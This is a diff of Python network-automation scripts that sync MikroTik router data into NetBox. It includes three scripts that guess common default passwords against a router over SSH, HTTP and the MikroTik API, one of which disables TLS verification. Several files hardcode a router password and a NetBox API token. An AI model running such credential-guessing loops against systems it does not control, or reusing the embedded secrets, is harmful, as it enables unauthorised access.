if ip_response['count'] == 0:
|
||||||
|
# Create new IP
|
||||||
|
ip_data['site'] = site_id
|
||||||
|
self.post('ipam/ip-addresses/', ip_data)
|
||||||
|
print(f"Created IP: {ip_info['address']} ({ip_info['interface']})")
|
||||||
|
ip_stats['created'] += 1
|
||||||
|
else:
|
||||||
|
# Update existing IP
|
||||||
|
existing_ip = ip_response['results'][0]
|
||||||
|
existing_id = existing_ip['id']
|
||||||
|
|
||||||
|
# Only update if needed
|
||||||
|
if existing_ip.get('site', {}).get('id') != site_id or existing_ip.get('description') != ip_data['description']:
|
||||||
|
ip_data['site'] = site_id
|
||||||
|
self.patch(f'ipam/ip-addresses/{existing_id}/', ip_data)
|
||||||
|
print(f"Updated IP: {ip_info['address']} ({ip_info['interface']})")
|
||||||
|
ip_stats['updated'] += 1
|
||||||
|
|
||||||
|
# Create interface if device exists
|
||||||
|
if device_id:
|
||||||
|
interface_name = ip_info['interface']
|
||||||
|
|
||||||
|
# Check if interface exists
|
||||||
|
interface_response = self.get('dcim/interfaces/', params={
|
||||||
|
'device_id': device_id,
|
||||||
|
'name': interface_name
|
||||||
|
})
|
||||||
|
|
||||||
|
if interface_response['count'] == 0:
|
||||||
|
# Create interface
|
||||||
|
interface_data = {
|
||||||
|
'device': device_id,
|
||||||
|
'name': interface_name,
|
||||||
|
'type': self.determine_interface_type(interface_name),
|
||||||
|
'enabled': True
|
||||||
|
}
|
||||||
|
try:
|
||||||
|
created_interface = self.post('dcim/interfaces/', interface_data)
|
||||||
|
interface_id = created_interface['id']
|
||||||
|
|
||||||
|
# Assign IP to interface
|
||||||
|
ip_id = self.get('ipam/ip-addresses/', params={'address': ip_info['address']})['results'][0]['id']
|
||||||
|
self.patch(f'ipam/ip-addresses/{ip_id}/', {
|
||||||
|
'assigned_object_type': 'dcim.interface',
|
||||||
|
'assigned_object_id': interface_id
|
||||||
|
})
|
||||||
|
print(f" - Created interface: {interface_name} (Type: {interface_data['type']})")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" - Failed to create interface {interface_name}: {e}")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Failed to process IP {ip_info['address']}: {e}")
|
||||||
|
ip_stats['failed'] += 1
|
||||||
|
|
||||||
|
print(f"\nIP Summary: {ip_stats['created']} created, {ip_stats['updated']} updated, {ip_stats['failed']} failed")
|
||||||
|
|
||||||
|
print("\n=== Sync Complete ===")
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description='Sync MikroTik router configuration to NetBox')
|
||||||
|
parser.add_argument('router_ip', help='Router IP address')
|
||||||
|
parser.add_argument('site_name', help='NetBox site name')
|
||||||
|
parser.add_argument('--router-user', default='grahamro', help='Router username (default: grahamro)')
|
||||||
|
parser.add_argument('--router-pass', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
|
||||||
|
parser.add_argument('--device-name', help='NetBox device name (optional)')
|
||||||
|
parser.add_argument('--netbox-url', default='https://netbox.vntx.net/', help='NetBox URL')
|
||||||
|
parser.add_argument('--netbox-token', default='e50298f7fd20f7fd6f1931f635511b34f6e8cfde', help='NetBox API token')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Create sync instance
|
||||||
|
sync = NetBoxSync(args.netbox_url, args.netbox_token)
|
||||||
|
|
||||||
|
# Run sync
|
||||||
|
success = sync.sync_router_to_netbox(
|
||||||
|
args.router_ip,
|
||||||
|
args.router_user,
|
||||||
|
args.router_pass,
|
||||||
|
args.site_name,
|
||||||
|
args.device_name
|
||||||
|
)
|
||||||
|
|
||||||
|
return 0 if success else 1
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
184
test_mikrotik_api_auth.py
Normal file
184
test_mikrotik_api_auth.py
Normal file
|
|
@ -0,0 +1,184 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
MikroTik API Authentication Tester
|
||||||
|
Tests credentials using the MikroTik API protocol on port 8728/8729
|
||||||
|
"""
|
||||||
|
|
||||||
|
import ssl
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
|
||||||
|
class MikrotikAPITester:
|
||||||
|
def __init__(self, host, port=8729):
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.sock = None
|
||||||
|
self.ssl_sock = None
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
"""Establish SSL connection to MikroTik router"""
|
||||||
|
try:
|
||||||
|
# Create socket and SSL context
|
||||||
|
context = ssl.create_default_context()
|
||||||
|
context.check_hostname = False
|
||||||
|
context.verify_mode = ssl.CERT_NONE
|
||||||
|
# Allow older SSL/TLS versions for compatibility
|
||||||
|
context.set_ciphers('DEFAULT:@SECLEVEL=0')
|
||||||
|
|
||||||
|
# Connect to router
|
||||||
|
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
self.sock.settimeout(10)
|
||||||
|
self.sock.connect((self.host, self.port))
|
||||||
|
self.ssl_sock = context.wrap_socket(self.sock)
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Connection failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def disconnect(self):
|
||||||
|
"""Close the connection"""
|
||||||
|
if self.ssl_sock:
|
||||||
|
self.ssl_sock.close()
|
||||||
|
if self.sock:
|
||||||
|
self.sock.close()
|
||||||
|
|
||||||
|
def encode_length(self, length):
|
||||||
|
"""Encode length for MikroTik API protocol"""
|
||||||
|
if length <= 0x7F:
|
||||||
|
return bytes([length])
|
||||||
|
elif length <= 0x3FFF:
|
||||||
|
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||||
|
elif length <= 0x1FFFFF:
|
||||||
|
return bytes([((length >> 16) & 0xFF) | 0xC0,
|
||||||
|
(length >> 8) & 0xFF,
|
||||||
|
length & 0xFF])
|
||||||
|
elif length <= 0xFFFFFFF:
|
||||||
|
return bytes([((length >> 24) & 0xFF) | 0xE0,
|
||||||
|
(length >> 16) & 0xFF,
|
||||||
|
(length >> 8) & 0xFF,
|
||||||
|
length & 0xFF])
|
||||||
|
else:
|
||||||
|
return bytes([0xF0,
|
||||||
|
(length >> 24) & 0xFF,
|
||||||
|
(length >> 16) & 0xFF,
|
||||||
|
(length >> 8) & 0xFF,
|
||||||
|
length & 0xFF])
|
||||||
|
|
||||||
|
def decode_length(self):
|
||||||
|
"""Decode length from MikroTik API protocol"""
|
||||||
|
c = self.ssl_sock.recv(1)[0]
|
||||||
|
|
||||||
|
if (c & 0x80) == 0x00:
|
||||||
|
return c
|
||||||
|
elif (c & 0xC0) == 0x80:
|
||||||
|
return ((c & ~0xC0) << 8) + self.ssl_sock.recv(1)[0]
|
||||||
|
elif (c & 0xE0) == 0xC0:
|
||||||
|
data = self.ssl_sock.recv(2)
|
||||||
|
return ((c & ~0xE0) << 16) + (data[0] << 8) + data[1]
|
||||||
|
elif (c & 0xF0) == 0xE0:
|
||||||
|
data = self.ssl_sock.recv(3)
|
||||||
|
return ((c & ~0xF0) << 24) + (data[0] << 16) + (data[1] << 8) + data[2]
|
||||||
|
elif (c & 0xF8) == 0xF0:
|
||||||
|
data = self.ssl_sock.recv(4)
|
||||||
|
return (data[0] << 24) + (data[1] << 16) + (data[2] << 8) + data[3]
|
||||||
|
|
||||||
|
def write_word(self, word):
|
||||||
|
"""Send a word to the router"""
|
||||||
|
word_bytes = word.encode('utf-8')
|
||||||
|
self.ssl_sock.send(self.encode_length(len(word_bytes)))
|
||||||
|
self.ssl_sock.send(word_bytes)
|
||||||
|
|
||||||
|
def read_word(self):
|
||||||
|
"""Read a word from the router"""
|
||||||
|
length = self.decode_length()
|
||||||
|
if length == 0:
|
||||||
|
return ""
|
||||||
|
return self.ssl_sock.recv(length).decode('utf-8', 'ignore')
|
||||||
|
|
||||||
|
def write_sentence(self, words):
|
||||||
|
"""Send a sentence (list of words) to the router"""
|
||||||
|
for word in words:
|
||||||
|
self.write_word(word)
|
||||||
|
self.write_word("")
|
||||||
|
|
||||||
|
def read_sentence(self):
|
||||||
|
"""Read a sentence from the router"""
|
||||||
|
sentence = []
|
||||||
|
while True:
|
||||||
|
word = self.read_word()
|
||||||
|
if word == "":
|
||||||
|
break
|
||||||
|
sentence.append(word)
|
||||||
|
return sentence
|
||||||
|
|
||||||
|
def test_login(self, username, password):
|
||||||
|
"""Test login credentials"""
|
||||||
|
if not self.connect():
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Send login command
|
||||||
|
self.write_sentence(["/login", f"=name={username}", f"=password={password}"])
|
||||||
|
|
||||||
|
# Read response
|
||||||
|
response = self.read_sentence()
|
||||||
|
|
||||||
|
if response and response[0] == "!done":
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Login test error: {e}")
|
||||||
|
return False
|
||||||
|
finally:
|
||||||
|
self.disconnect()
|
||||||
|
|
||||||
|
def main():
|
||||||
|
host = "10.250.2.2"
|
||||||
|
|
||||||
|
# Test both SSL and non-SSL ports
|
||||||
|
ports = [8729, 8728] # SSL and non-SSL
|
||||||
|
|
||||||
|
# Common MikroTik default passwords
|
||||||
|
credentials = [
|
||||||
|
("admin", ""), # Empty password
|
||||||
|
("admin", "admin"), # admin/admin
|
||||||
|
("admin", "password"), # admin/password
|
||||||
|
("admin", "123456"), # admin/123456
|
||||||
|
("admin", "mikrotik"), # admin/mikrotik
|
||||||
|
("admin", "router"), # admin/router
|
||||||
|
("admin", "default"), # admin/default
|
||||||
|
]
|
||||||
|
|
||||||
|
print(f"Testing MikroTik API authentication on {host}")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
for port in ports:
|
||||||
|
port_type = "SSL" if port == 8729 else "Non-SSL"
|
||||||
|
print(f"\nTesting port {port} ({port_type}):")
|
||||||
|
|
||||||
|
tester = MikrotikAPITester(host, port)
|
||||||
|
|
||||||
|
for username, password in credentials:
|
||||||
|
pwd_display = f'"{password}"' if password else "(empty)"
|
||||||
|
print(f" Testing {username}:{pwd_display}...", end=" ")
|
||||||
|
|
||||||
|
if tester.test_login(username, password):
|
||||||
|
print(f"✓ SUCCESS!")
|
||||||
|
print(f"\n*** WORKING CREDENTIALS FOUND ***")
|
||||||
|
print(f"Host: {host}")
|
||||||
|
print(f"Port: {port} ({port_type})")
|
||||||
|
print(f"Username: {username}")
|
||||||
|
print(f"Password: {pwd_display}")
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print("✗ Failed")
|
||||||
|
|
||||||
|
print("\nNo working credentials found with common defaults.")
|
||||||
|
print("\nSuggestions:")
|
||||||
|
print("1. Device may have custom password")
|
||||||
|
print("2. Try hardware reset if you own the device")
|
||||||
|
print("3. Check if WinBox shows any additional information")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
94
test_mikrotik_creds.py
Normal file
94
test_mikrotik_creds.py
Normal file
|
|
@ -0,0 +1,94 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Simple MikroTik credential tester
|
||||||
|
Tests common default passwords for MikroTik devices
|
||||||
|
"""
|
||||||
|
import paramiko
|
||||||
|
import requests
|
||||||
|
from requests.auth import HTTPBasicAuth
|
||||||
|
import time
|
||||||
|
|
||||||
|
def test_ssh_credentials(host, username, password, timeout=5):
|
||||||
|
"""Test SSH credentials"""
|
||||||
|
try:
|
||||||
|
client = paramiko.SSHClient()
|
||||||
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
client.connect(
|
||||||
|
host,
|
||||||
|
port=22,
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
timeout=timeout,
|
||||||
|
allow_agent=False,
|
||||||
|
look_for_keys=False,
|
||||||
|
)
|
||||||
|
client.close()
|
||||||
|
return True
|
||||||
|
except paramiko.AuthenticationException:
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
print(f"SSH connection error: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def test_http_credentials(host, username, password, timeout=5):
|
||||||
|
"""Test HTTP credentials by checking for successful auth"""
|
||||||
|
try:
|
||||||
|
# Try to access a protected resource
|
||||||
|
response = requests.get(
|
||||||
|
f"http://{host}/status",
|
||||||
|
auth=HTTPBasicAuth(username, password),
|
||||||
|
timeout=timeout,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
# If we get anything other than 401/403, auth might be working
|
||||||
|
return response.status_code not in [401, 403]
|
||||||
|
except Exception as e:
|
||||||
|
print(f"HTTP connection error: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def main():
|
||||||
|
host = "10.250.2.2"
|
||||||
|
username = "admin"
|
||||||
|
|
||||||
|
# Common MikroTik default passwords
|
||||||
|
passwords = [
|
||||||
|
"", # Empty password
|
||||||
|
"admin", # admin/admin
|
||||||
|
"password", # admin/password
|
||||||
|
"123456", # admin/123456
|
||||||
|
"mikrotik", # admin/mikrotik
|
||||||
|
"router", # admin/router
|
||||||
|
"default", # admin/default
|
||||||
|
"1234", # admin/1234
|
||||||
|
"pass", # admin/pass
|
||||||
|
]
|
||||||
|
|
||||||
|
print(f"Testing credentials for MikroTik device at {host}")
|
||||||
|
print("=" * 50)
|
||||||
|
|
||||||
|
for password in passwords:
|
||||||
|
pwd_display = f'"{password}"' if password else "(empty)"
|
||||||
|
print(f"Testing {username}:{pwd_display}...", end=" ")
|
||||||
|
|
||||||
|
# Test SSH first
|
||||||
|
if test_ssh_credentials(host, username, password):
|
||||||
|
print(f"✓ SSH SUCCESS with {username}:{pwd_display}")
|
||||||
|
return password
|
||||||
|
|
||||||
|
# Test HTTP
|
||||||
|
if test_http_credentials(host, username, password):
|
||||||
|
print(f"✓ HTTP SUCCESS with {username}:{pwd_display}")
|
||||||
|
return password
|
||||||
|
|
||||||
|
print("✗ Failed")
|
||||||
|
time.sleep(0.5) # Be polite
|
||||||
|
|
||||||
|
print("\nNo common default passwords worked.")
|
||||||
|
print("Suggestions:")
|
||||||
|
print("1. Device may have custom password")
|
||||||
|
print("2. Device may use different default algorithm")
|
||||||
|
print("3. Consider hardware reset if you own the device")
|
||||||
|
return None
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
166
test_mikrotik_plain_api.py
Normal file
166
test_mikrotik_plain_api.py
Normal file
|
|
@ -0,0 +1,166 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
MikroTik Plain API Authentication Tester
|
||||||
|
Tests credentials using plain (non-SSL) MikroTik API protocol on port 8728
|
||||||
|
"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
|
||||||
|
class MikrotikPlainAPITester:
|
||||||
|
def __init__(self, host, port=8728):
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.sock = None
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
"""Establish plain connection to MikroTik router"""
|
||||||
|
try:
|
||||||
|
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
self.sock.settimeout(10)
|
||||||
|
self.sock.connect((self.host, self.port))
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Connection failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def disconnect(self):
|
||||||
|
"""Close the connection"""
|
||||||
|
if self.sock:
|
||||||
|
self.sock.close()
|
||||||
|
|
||||||
|
def encode_length(self, length):
|
||||||
|
"""Encode length for MikroTik API protocol"""
|
||||||
|
if length <= 0x7F:
|
||||||
|
return bytes([length])
|
||||||
|
elif length <= 0x3FFF:
|
||||||
|
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||||
|
elif length <= 0x1FFFFF:
|
||||||
|
return bytes([((length >> 16) & 0xFF) | 0xC0,
|
||||||
|
(length >> 8) & 0xFF,
|
||||||
|
length & 0xFF])
|
||||||
|
elif length <= 0xFFFFFFF:
|
||||||
|
return bytes([((length >> 24) & 0xFF) | 0xE0,
|
||||||
|
(length >> 16) & 0xFF,
|
||||||
|
(length >> 8) & 0xFF,
|
||||||
|
length & 0xFF])
|
||||||
|
else:
|
||||||
|
return bytes([0xF0,
|
||||||
|
(length >> 24) & 0xFF,
|
||||||
|
(length >> 16) & 0xFF,
|
||||||
|
(length >> 8) & 0xFF,
|
||||||
|
length & 0xFF])
|
||||||
|
|
||||||
|
def decode_length(self):
|
||||||
|
"""Decode length from MikroTik API protocol"""
|
||||||
|
c = self.sock.recv(1)[0]
|
||||||
|
|
||||||
|
if (c & 0x80) == 0x00:
|
||||||
|
return c
|
||||||
|
elif (c & 0xC0) == 0x80:
|
||||||
|
return ((c & ~0xC0) << 8) + self.sock.recv(1)[0]
|
||||||
|
elif (c & 0xE0) == 0xC0:
|
||||||
|
data = self.sock.recv(2)
|
||||||
|
return ((c & ~0xE0) << 16) + (data[0] << 8) + data[1]
|
||||||
|
elif (c & 0xF0) == 0xE0:
|
||||||
|
data = self.sock.recv(3)
|
||||||
|
return ((c & ~0xF0) << 24) + (data[0] << 16) + (data[1] << 8) + data[2]
|
||||||
|
elif (c & 0xF8) == 0xF0:
|
||||||
|
data = self.sock.recv(4)
|
||||||
|
return (data[0] << 24) + (data[1] << 16) + (data[2] << 8) + data[3]
|
||||||
|
|
||||||
|
def write_word(self, word):
|
||||||
|
"""Send a word to the router"""
|
||||||
|
word_bytes = word.encode('utf-8')
|
||||||
|
self.sock.send(self.encode_length(len(word_bytes)))
|
||||||
|
self.sock.send(word_bytes)
|
||||||
|
|
||||||
|
def read_word(self):
|
||||||
|
"""Read a word from the router"""
|
||||||
|
length = self.decode_length()
|
||||||
|
if length == 0:
|
||||||
|
return ""
|
||||||
|
return self.sock.recv(length).decode('utf-8', 'ignore')
|
||||||
|
|
||||||
|
def write_sentence(self, words):
|
||||||
|
"""Send a sentence (list of words) to the router"""
|
||||||
|
for word in words:
|
||||||
|
self.write_word(word)
|
||||||
|
self.write_word("")
|
||||||
|
|
||||||
|
def read_sentence(self):
|
||||||
|
"""Read a sentence from the router"""
|
||||||
|
sentence = []
|
||||||
|
while True:
|
||||||
|
word = self.read_word()
|
||||||
|
if word == "":
|
||||||
|
break
|
||||||
|
sentence.append(word)
|
||||||
|
return sentence
|
||||||
|
|
||||||
|
def test_login(self, username, password):
|
||||||
|
"""Test login credentials"""
|
||||||
|
if not self.connect():
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Send login command
|
||||||
|
self.write_sentence(["/login", f"=name={username}", f"=password={password}"])
|
||||||
|
|
||||||
|
# Read response
|
||||||
|
response = self.read_sentence()
|
||||||
|
|
||||||
|
if response and response[0] == "!done":
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Login test error: {e}")
|
||||||
|
return False
|
||||||
|
finally:
|
||||||
|
self.disconnect()
|
||||||
|
|
||||||
|
def main():
|
||||||
|
host = "10.250.2.2"
|
||||||
|
port = 8728 # Plain API port
|
||||||
|
|
||||||
|
# Common MikroTik default passwords
|
||||||
|
credentials = [
|
||||||
|
("admin", ""), # Empty password
|
||||||
|
("admin", "admin"), # admin/admin
|
||||||
|
("admin", "password"), # admin/password
|
||||||
|
("admin", "123456"), # admin/123456
|
||||||
|
("admin", "mikrotik"), # admin/mikrotik
|
||||||
|
("admin", "router"), # admin/router
|
||||||
|
("admin", "default"), # admin/default
|
||||||
|
]
|
||||||
|
|
||||||
|
print(f"Testing MikroTik Plain API authentication on {host}:{port}")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
tester = MikrotikPlainAPITester(host, port)
|
||||||
|
|
||||||
|
for username, password in credentials:
|
||||||
|
pwd_display = f'"{password}"' if password else "(empty)"
|
||||||
|
print(f"Testing {username}:{pwd_display}...", end=" ")
|
||||||
|
|
||||||
|
if tester.test_login(username, password):
|
||||||
|
print(f"✓ SUCCESS!")
|
||||||
|
print(f"\n*** WORKING CREDENTIALS FOUND ***")
|
||||||
|
print(f"Host: {host}")
|
||||||
|
print(f"Port: {port} (Plain API)")
|
||||||
|
print(f"Username: {username}")
|
||||||
|
print(f"Password: {pwd_display}")
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print("✗ Failed")
|
||||||
|
|
||||||
|
print("\nNo working credentials found with common defaults.")
|
||||||
|
print("\nNext steps:")
|
||||||
|
print("1. Device likely has custom password")
|
||||||
|
print("2. Consider hardware reset if you own the device")
|
||||||
|
print("3. Check device label for default credentials")
|
||||||
|
print("4. Try WinBox which might show more info")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
104
update_380_edge_manually.py
Normal file
104
update_380_edge_manually.py
Normal file
|
|
@ -0,0 +1,104 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import os
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
|
# Get API token
|
||||||
|
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||||
|
|
||||||
|
# NetBox API setup
|
||||||
|
base_url = 'https://netbox.vntx.net/'
|
||||||
|
api_url = urljoin(base_url, 'api/')
|
||||||
|
headers = {
|
||||||
|
'Authorization': f'Token {api_token}',
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'Accept': 'application/json'
|
||||||
|
}
|
||||||
|
|
||||||
|
print("=== Updating 380 Edge Router in NetBox ===\n")
|
||||||
|
|
||||||
|
# Edge router specific data
|
||||||
|
edge_device_id = 9
|
||||||
|
site_id = 8
|
||||||
|
|
||||||
|
# Update primary IP assignment for edge router
|
||||||
|
print("Assigning primary IP to edge router...")
|
||||||
|
try:
|
||||||
|
# First create interface on edge router
|
||||||
|
interface_data = {
|
||||||
|
'device': edge_device_id,
|
||||||
|
'name': 'loopback',
|
||||||
|
'type': 'virtual',
|
||||||
|
'enabled': True
|
||||||
|
}
|
||||||
|
response = requests.post(f"{api_url}dcim/interfaces/", headers=headers, json=interface_data)
|
||||||
|
if response.status_code == 201:
|
||||||
|
interface_id = response.json()['id']
|
||||||
|
print(f"✓ Created loopback interface (ID: {interface_id})")
|
||||||
|
|
||||||
|
# Assign IP to interface
|
||||||
|
ip_update = {
|
||||||
|
'assigned_object_type': 'dcim.interface',
|
||||||
|
'assigned_object_id': interface_id
|
||||||
|
}
|
||||||
|
# Find the IP
|
||||||
|
ip_response = requests.get(f"{api_url}ipam/ip-addresses/",
|
||||||
|
headers=headers,
|
||||||
|
params={'address': '10.254.254.254/32'})
|
||||||
|
if ip_response.json()['count'] > 0:
|
||||||
|
ip_id = ip_response.json()['results'][0]['id']
|
||||||
|
patch_response = requests.patch(f"{api_url}ipam/ip-addresses/{ip_id}/",
|
||||||
|
headers=headers,
|
||||||
|
json=ip_update)
|
||||||
|
if patch_response.status_code == 200:
|
||||||
|
print("✓ Assigned IP to loopback interface")
|
||||||
|
|
||||||
|
# Set as primary IP for device
|
||||||
|
device_update = {'primary_ip4': ip_id}
|
||||||
|
device_response = requests.patch(f"{api_url}dcim/devices/{edge_device_id}/",
|
||||||
|
headers=headers,
|
||||||
|
json=device_update)
|
||||||
|
if device_response.status_code == 200:
|
||||||
|
print("✓ Set as primary IP for edge router")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error: {e}")
|
||||||
|
|
||||||
|
# Create interfaces for edge router
|
||||||
|
print("\n=== Creating Edge Router Interfaces ===")
|
||||||
|
interfaces = [
|
||||||
|
'sfp-sfpplus7-core-direct',
|
||||||
|
'sfp-sfpplus8-server-switch',
|
||||||
|
'sfp-sfpplus11-preseem',
|
||||||
|
'sfp-sfpplus12-spectrum',
|
||||||
|
'cgnat',
|
||||||
|
'vlan9_sfpplus8'
|
||||||
|
]
|
||||||
|
|
||||||
|
for interface in interfaces:
|
||||||
|
# Check if already exists
|
||||||
|
check = requests.get(f"{api_url}dcim/interfaces/",
|
||||||
|
headers=headers,
|
||||||
|
params={'device_id': edge_device_id, 'name': interface})
|
||||||
|
|
||||||
|
if check.json()['count'] == 0:
|
||||||
|
if 'vlan' in interface or interface == 'cgnat':
|
||||||
|
itype = 'virtual'
|
||||||
|
else:
|
||||||
|
itype = '10gbase-x-sfpp' # SFP+ interfaces
|
||||||
|
|
||||||
|
interface_data = {
|
||||||
|
'device': edge_device_id,
|
||||||
|
'name': interface,
|
||||||
|
'type': itype,
|
||||||
|
'enabled': True
|
||||||
|
}
|
||||||
|
|
||||||
|
response = requests.post(f"{api_url}dcim/interfaces/", headers=headers, json=interface_data)
|
||||||
|
if response.status_code == 201:
|
||||||
|
print(f"✓ Created interface: {interface}")
|
||||||
|
else:
|
||||||
|
print(f"✗ Failed to create interface: {interface}")
|
||||||
|
|
||||||
|
print("\n✓ Edge router update complete!")
|
||||||
369
update_netbox_from_router_data.py
Normal file
369
update_netbox_from_router_data.py
Normal file
|
|
@ -0,0 +1,369 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import argparse
|
||||||
|
import requests
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
|
class NetBoxUpdater:
|
||||||
|
def __init__(self, url, token):
|
||||||
|
self.base_url = url.rstrip('/')
|
||||||
|
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||||
|
self.headers = {
|
||||||
|
'Authorization': f'Token {token}',
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'Accept': 'application/json'
|
||||||
|
}
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.session.headers.update(self.headers)
|
||||||
|
|
||||||
|
def post(self, endpoint, data):
|
||||||
|
"""Make POST request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.post(url, json=data)
|
||||||
|
if response.status_code not in [200, 201]:
|
||||||
|
print(f"Error creating {endpoint}: {response.status_code}")
|
||||||
|
print(f"Response: {response.text}")
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def patch(self, endpoint, data):
|
||||||
|
"""Make PATCH request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.patch(url, json=data)
|
||||||
|
if response.status_code not in [200, 201]:
|
||||||
|
print(f"Error updating {endpoint}: {response.status_code}")
|
||||||
|
print(f"Response: {response.text}")
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def get(self, endpoint, params=None):
|
||||||
|
"""Make GET request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.get(url, params=params)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def get_or_create_role(self, name, slug=None):
|
||||||
|
"""Get or create an IPAM role"""
|
||||||
|
if not slug:
|
||||||
|
slug = name.lower().replace(' ', '-')
|
||||||
|
|
||||||
|
response = self.get('ipam/roles/', params={'slug': slug})
|
||||||
|
if response['count'] > 0:
|
||||||
|
return response['results'][0]['id']
|
||||||
|
|
||||||
|
# Create role
|
||||||
|
role_data = {
|
||||||
|
'name': name,
|
||||||
|
'slug': slug
|
||||||
|
}
|
||||||
|
created = self.post('ipam/roles/', role_data)
|
||||||
|
return created['id']
|
||||||
|
|
||||||
|
|
||||||
|
def determine_prefix_role(interface, description=''):
|
||||||
|
"""Determine the role of a prefix based on interface name and description"""
|
||||||
|
interface_lower = str(interface).lower()
|
||||||
|
|
||||||
|
# Infrastructure links
|
||||||
|
if any(term in interface_lower for term in ['airfiber', '11ghz', '24ghz', 'backhaul', 'ether3', 'ether4', 'ether5', 'ether6']):
|
||||||
|
return 'infrastructure'
|
||||||
|
|
||||||
|
# Loopback
|
||||||
|
if 'loopback' in interface_lower or interface == 'lo':
|
||||||
|
return 'loopback'
|
||||||
|
|
||||||
|
# Management
|
||||||
|
if any(term in interface_lower for term in ['mgmt', 'management', 'ether1']):
|
||||||
|
return 'management'
|
||||||
|
|
||||||
|
# Customer bridges
|
||||||
|
if 'bridge' in interface_lower or 'pppoe' in interface_lower:
|
||||||
|
return 'customer'
|
||||||
|
|
||||||
|
# VLANs are often customer-facing
|
||||||
|
if 'vlan' in interface_lower:
|
||||||
|
return 'customer'
|
||||||
|
|
||||||
|
return 'infrastructure' # Default
|
||||||
|
|
||||||
|
|
||||||
|
def process_router_data(json_file, site_name, dry_run=False):
|
||||||
|
"""Process router data JSON and update NetBox"""
|
||||||
|
|
||||||
|
# Load router data
|
||||||
|
with open(json_file, 'r') as f:
|
||||||
|
router_data = json.load(f)
|
||||||
|
|
||||||
|
# Get API token
|
||||||
|
api_token = os.environ.get('NETBOX_KEY', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||||
|
nb = NetBoxUpdater('https://netbox.vntx.net/', api_token)
|
||||||
|
|
||||||
|
print(f"=== Processing Router Data for {site_name} ===\n")
|
||||||
|
|
||||||
|
# Get site ID
|
||||||
|
site_response = nb.get('dcim/sites/', params={'name': site_name})
|
||||||
|
if site_response['count'] == 0:
|
||||||
|
print(f"Error: Site '{site_name}' not found in NetBox")
|
||||||
|
print(f"Please create the site first using: python3 create_site_and_router.py {site_name} {router_data['host']}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
site_id = site_response['results'][0]['id']
|
||||||
|
print(f"Found site: {site_name} (ID: {site_id})")
